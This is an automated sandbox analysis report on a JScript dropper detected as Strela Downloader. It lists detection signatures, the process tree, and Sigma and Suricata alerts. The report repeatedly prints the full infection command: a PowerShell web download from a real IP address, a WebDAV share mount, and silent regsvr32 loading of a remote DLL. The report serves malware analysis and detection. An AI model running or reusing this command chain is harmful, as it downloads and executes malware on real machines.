Edit tour

Windows Analysis Report
2227274219703378.js

Overview

General Information

Sample name:	2227274219703378.js
Analysis ID:	1588831
MD5:	09fc4019e4fffa944516549b71912e81
SHA1:	d403900e4235d1a5b585609ebab317e3537f8b9d
SHA256:	e6dfbabd51dbfa59f1bd83710c29cf8d8460621071d735eada6ebfebb55cb2ba
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7704 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6708 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4400 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1696,i,1794104358576165871,10114287455485969065,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1132 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7860 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6956 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7704	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6708, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6708, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ProcessId: 7704, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7860, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ProcessId: 7704, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6708, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7860, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6956, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7860, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7704, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll, ProcessId: 1472, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:06.639472+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:09.325041+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49738	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:06.639472+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2227274219703378.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2227274219703378.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49722 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49738 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: global traffic

